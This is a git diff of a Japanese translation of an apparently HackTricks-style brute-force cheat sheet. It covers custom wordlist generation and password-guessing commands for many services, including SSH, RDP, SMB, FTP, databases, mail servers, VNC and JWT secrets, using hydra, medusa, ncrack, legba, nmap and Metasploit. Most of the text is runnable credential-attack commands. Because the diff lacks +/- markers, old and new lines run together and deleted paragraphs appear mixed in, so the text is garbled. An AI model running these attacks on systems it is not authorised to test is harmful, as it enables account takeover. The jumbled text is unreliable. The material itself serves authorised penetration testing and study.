ターゲットに関する情報をできるだけ見つけ、カスタム辞書を生成します。役立つツール: ターゲットに関する情報をできるだけ多く集め、カスタム辞書を生成します。役立つツール:
### Crunch ### Crunch
```bash ```bash
@ -55,8 +56,6 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
crunch 6 8 -t ,@@^^%% crunch 6 8 -t ,@@^^%%
``` ```
### Cewl ### Cewl
Cewlは、Webサイトから単語リストを生成するためのツールです。通常、辞書攻撃やブルートフォース攻撃の前に使用され、攻撃対象のWebサイトから有用な情報を収集するのに役立ちます。
```bash ```bash
cewl example.com -m 5 -w words.txt cewl example.com -m 5 -w words.txt
``` ```
@ -68,7 +67,7 @@ python3 cupp.py -h
``` ```
### [Wister](https://github.com/cycurity/wister) ### [Wister](https://github.com/cycurity/wister)
特定のターゲットに関して使用するためのユニークで理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるワードリストジェネレーターツール 単語リストジェネレーターツールで、単語のセットを提供することができ、指定された単語から複数のバリエーションを作成し、特定のターゲットに関して使用するためのユニークで理想的な単語リストを作成することができます
```bash ```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -89,7 +88,7 @@ Finished in 0.920s.
``` ```
### [pydictor](https://github.com/LandGrey/pydictor) ### [pydictor](https://github.com/LandGrey/pydictor)
### ワードリスト ### Wordlists
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
@ -105,14 +104,14 @@ Finished in 0.920s.
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## サービス ## Services
サービス名でアルファベット順に並べ替えられています。 サービス名のアルファベット順に並べられています。
### AFP ### AFP
```bash ```bash
@ -125,56 +124,44 @@ msf> set USER_FILE <PATH_USERS>
msf> run msf> run
``` ```
### AJP ### AJP
AJPApache JServ Protocolは、Apache Tomcatサーバーとウェブサーバー間で通信するためのプロトコルです。AJPを使用して、攻撃者はTomcatサーバーに対してBrute Force攻撃を実行することができます。
```bash ```bash
nmap --script ajp-brute -p 8009 <IP> nmap --script ajp-brute -p 8009 <IP>
``` ```
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) ## AMQP (ActiveMQ、RabbitMQ、Qpid、JORAM、Solace)
AMQPActiveMQ、RabbitMQ、Qpid、JORAM、Solace
```bash ```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
``` ```
### カサンドラ ### カサンドラ
```bash ```bash
nmap --script cassandra-brute -p 9160 <IP> nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra # legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
``` ```
### CouchDB ### CouchDB
CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、以下のようなセキュリティ対策を実装することができます。
```bash ```bash
msf> use auxiliary/scanner/couchdb/couchdb_login msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
``` ```
### Docker Registry
### Docker レジストリ ### Docker レジストリ
``` ```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
``` ```
### Elasticsearch
### Elasticsearch ### Elasticsearch
``` ```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
``` ```
### FTP ### FTP
FTPFile Transfer Protocolは、ファイルをサーバーに転送するためのプロトコルです。FTPサーバーへのアクセスをブルートフォース攻撃で試みることができます。FTPサーバーは、一般的にポート21でリッスンしています。
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5] ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
``` ```
### HTTP ジェネリックブルート ### HTTPジェネリックブルート
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### HTTP ベーシック認証 ### HTTPベーシック認証
```bash ```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https # Use https-get mode for https
@ -182,8 +169,6 @@ medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
``` ```
### HTTP - NTLM ### HTTP - NTLM
NTLMNT LAN Managerは、Windowsベースのシステムで使用される認証プロトコルです。NTLM認証をバイパスするために、ブルートフォース攻撃を使用することができます。
```bash ```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
@ -193,16 +178,14 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https # Use https-post-form mode for https
``` ```
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle For http**s**は「http-post-form」から「**https-post-form」に変更する必要があります。
**https**については、"http-post-form"から**https-post-form**に変更する必要があります。 ### **HTTP - CMS --** (W)ordpress, (J)oomlaまたは(D)rupalまたは(M)oodle
```bash ```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP # Check also https://github.com/evilsocket/legba/wiki/HTTP
``` ```
### IMAP ### IMAP
IMAPInternet Message Access Protocolは、電子メールを受信するためのプロトコルです。IMAPサーバーへの不正アクセスを試みる際には、一般的にユーザー名とパスワードの組み合わせを総当たり攻撃Brute Force Attackすることが一般的です。
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
@ -210,20 +193,14 @@ nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993 legba imap --username user --password data/passwords.txt --target localhost:993
``` ```
### IRC ### IRC
IRCInternet Relay Chatは、テキストベースのチャットプロトコルであり、通常はオープンソースのクライアントソフトウェアを使用して利用されます。IRCサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードを推測しようとします。
```bash ```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP> nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
``` ```
### ISCSI
### ISCSI ### ISCSI
```bash ```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP> nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
``` ```
### JWT ### JWT
JWTJSON Web Tokenは、認証や情報の交換のために使用されるコンパクトで自己完結型の手段です。JWTは、署名されたJSONオブジェクトを使用して情報を安全に伝送します。
```bash ```bash
#hashcat #hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
@ -247,14 +224,10 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
``` ```
### LDAP ### LDAP
LDAPLightweight Directory Access Protocolは、ディレクトリサービスにアクセスするためのプロトコルです。LDAPサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードなどの情報を取得することが可能です。
```bash ```bash
nmap --script ldap-brute -p 389 <IP> nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
``` ```
### MQTT
### MQTT ### MQTT
``` ```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
@ -267,14 +240,10 @@ use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt legba mongodb --target localhost:27017 --username root --password data/passwords.txt
``` ```
### MSSQL ### MSSQL
MSSQLMicrosoft SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。MSSQLへのBrute Force攻撃は、一般的にはユーザー名とパスワードの組み合わせを総当たりで試行することによって行われます。Brute Force攻撃は、適切なセキュリティ対策がされていない場合に有効な手法となり得ます。
```bash ```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
``` ```
### MySQL ### MySQL
MySQLは、多くのWebアプリケーションで使用されるオープンソースのリレーショナルデータベース管理システムです。MySQLデータベースへの不正アクセスを試みる際には、Brute Force攻撃が有効な手法の1つとして使用されます。Brute Force攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、パスワードを推測し、正しい認証情報を見つけようとします。MySQLデータベースにBrute Force攻撃を行う場合、ユーザー名とパスワードの組み合わせを繰り返し試行することで、不正アクセスを試みることができます。
```bash ```bash
# hydra # hydra
hydra -L usernames.txt -P pass.txt <IP> mysql hydra -L usernames.txt -P pass.txt <IP> mysql
@ -289,8 +258,6 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
``` ```
### OracleSQL ### OracleSQL
ブルートフォース攻撃は、パスワードを推測するために使用される一般的な手法です。攻撃者は、可能なすべての組み合わせを試行し、正しいパスワードを見つけることを目指します。この攻撃は、セキュリティ上の脆弱性を突くために使用されることがあります。
```bash ```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@ -314,15 +281,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
``` ```
**oracle_login**を**patator**と一緒に使用するには、以下を**インストール**する必要があります: **oracle\_login**を**patator**で使用するには、**インストール**する必要があります:
```bash ```bash
pip3 install cx_Oracle --upgrade pip3 install cx_Oracle --upgrade
``` ```
[オフラインOracleSQLハッシュブルートフォース](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force)**バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2**、および**11.2.0.3**: [Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**バージョン 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** および **11.2.0.3**):
```bash ```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
``` ```
### ポップ ### POP
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -334,12 +301,6 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
``` ```
### PostgreSQL ### PostgreSQL
PostgreSQLは、データベースに対するBrute Force攻撃を防ぐために、以下の方法を実装しています:
- パスワードの複雑さ要件
- ログイン試行回数の制限
- ログインアクティビティの監視
```bash ```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
@ -351,21 +312,17 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho
``` ```
### PPTP ### PPTP
[https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) からインストール用の `.deb` パッケージをダウンロードできます。 `.deb` パッケージを [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) からダウンロードしてインストールできます。
```bash ```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP> cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
``` ```
### RDP ### RDP
RDPRemote Desktop Protocolは、Windowsマシンにリモートでアクセスするためのプロトコルです。RDPのブルートフォース攻撃は、一般的なユーザー名とパスワードの組み合わせを使用して、RDPサーバーにアクセスしようとする攻撃手法です。
```bash ```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP> ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP> hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
``` ```
### Redis
### Redis ### Redis
```bash ```bash
msf> use auxiliary/scanner/redis/redis_login msf> use auxiliary/scanner/redis/redis_login
@ -374,20 +331,14 @@ hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
``` ```
### Rexec ### Rexec
Rexecは、Brute Force攻撃の一形態であり、ユーザー名とパスワードの組み合わせを総当たりで試行することによって、システムにアクセスを試みる手法です。
```bash ```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
``` ```
### Rlogin ### Rlogin
Rloginは、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。
```bash ```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
``` ```
### Rsh ### Rsh
Rshリモートシェルは、ユーザー名とパスワードの組み合わせを使ってリモートシステムにログインするためのプロトコルです。攻撃者は、Brute Force攻撃を使用して、複数のユーザー名とパスワードの組み合わせを試し、システムにアクセスしようとします。
```bash ```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V hydra -L <Username_list> rsh://<Victim_IP> -v -V
``` ```
@ -398,8 +349,6 @@ hydra -L <Username_list> rsh://<Victim_IP> -v -V
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP> nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
``` ```
### RTSP ### RTSP
RTSPReal Time Streaming Protocolは、ストリーミングメディアサーバーとクライアント間でデータを転送するためのネットワーク制御プロトコルです。
```bash ```bash
hydra -l root -P passwords.txt <IP> rtsp hydra -l root -P passwords.txt <IP> rtsp
``` ```
@ -410,8 +359,6 @@ legba sftp --username admin --password wordlists/passwords.txt --target localhos
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
``` ```
### SNMP ### SNMP
SNMPSimple Network Management Protocolは、ネットワークデバイスやシステムの監視および管理に使用される標準プロトコルです。 SNMPは、デバイスの情報を取得するためにコミュニティ文字列を使用します。攻撃者は、Brute Force攻撃を使用して、有効なコミュニティ文字列を推測し、デバイスにアクセスしようとします。
```bash ```bash
msf> use auxiliary/scanner/snmp/snmp_login msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ] nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
@ -419,23 +366,17 @@ onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
``` ```
### SMB ### SMB
SMBServer Message Blockは、ネットワークファイル共有プロトコルであり、Windowsシステムで広く使用されています。
```bash ```bash
nmap --script smb-brute -p 445 <IP> nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>] legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
``` ```
### SMTP ### SMTP
SMTPSimple Mail Transfer Protocolは、電子メールを送信するために使用される標準プロトコルです。SMTPサーバーに対してブルートフォース攻撃を行うことで、不正アクセスを試みることができます。
```bash ```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>] legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
``` ```
### SOCKS
### SOCKS ### SOCKS
```bash ```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP> nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
@ -444,8 +385,6 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
``` ```
### SQL Server ### SQL Server
SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。Brute force攻撃は、SQL Serverへのアクセスを試みる際に使用できる一般的な手法の1つです。Brute force攻撃では、自動化されたツールを使用して、パスワードの組み合わせを継続的に試行し、正しい認証情報を見つけることを目指します。
```bash ```bash
#Use the NetBIOS name of the machine as domain #Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -455,8 +394,6 @@ nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=cust
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
``` ```
### SSH ### SSH
SSHSecure Shellは、リモートマシンに安全にアクセスするためのプロトコルです。SSHブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用してSSHサーバーにアクセスを試みる攻撃手法です。SSHブルートフォース攻撃は、弱いパスワードを持つユーザーアカウントを標的にします。
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5] ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
@ -466,19 +403,17 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
# Try keys from a folder # Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
``` ```
#### 弱いSSHキー / Debian予測可能なPRNG #### 弱いSSHキー / Debian予測可能なPRNG
一部のシステムには、暗号料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキースペースが生じ、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃される可能性があります。[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)などの事前生成された弱いキーのセットも利用可能です。 一部のシステムには、暗号料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)のようなツールでブルートフォース攻撃が可能な大幅に減少したキー空間が生じる可能性があります。弱いキーの事前生成されたセットも利用可能であり、例えば[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)があります。
### STOMP (ActiveMQ、RabbitMQ、HornetQ、およびOpenMQ) ### STOMP (ActiveMQ、RabbitMQ、HornetQ、OpenMQ)
STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、およびOpenMQなどの人気のあるメッセージキューイングサービスとのシームレスなコミュニケーションとやり取りを可能にする広く使用されているメッセージングプロトコルです。これは、メッセージの交換やさまざまなメッセージング操作を効率的かつ標準化された方法で実行するための手段を提供します。 STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、OpenMQなどの人気のあるメッセージキューサービスとの**シームレスな通信と相互作用を可能にする**広く使用されているメッセージングプロトコルです。メッセージを交換し、さまざまなメッセージング操作を実行するための標準化された効率的なアプローチを提供します。
```bash ```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt legba stomp --target localhost:61613 --username admin --password data/passwords.txt
``` ```
### Telnet ### テルネット
Telnetは、ネットワーク上の別のコンピューターにログインするためのプロトコルです。一般的な攻撃手法の1つは、Telnetサーバーに対してブルートフォース攻撃を行うことです。これにより、総当たり攻撃を使用して、パスワードを推測し、不正アクセスを試みることができます。
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5] ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
@ -494,10 +429,6 @@ legba telnet \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
``` ```
### VNC ### VNC
#### Brute Force
Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Attackers can use tools like Hydra or Medusa to perform dictionary or brute force attacks to guess the password and gain unauthorized access to VNC servers. It is essential to use strong, complex passwords and implement additional security measures such as IP whitelisting or VPNs to protect VNC servers from brute force attacks.
```bash ```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
@ -519,8 +450,8 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフロー**を簡単に構築し、**自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
@ -530,17 +461,17 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value) * [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value)
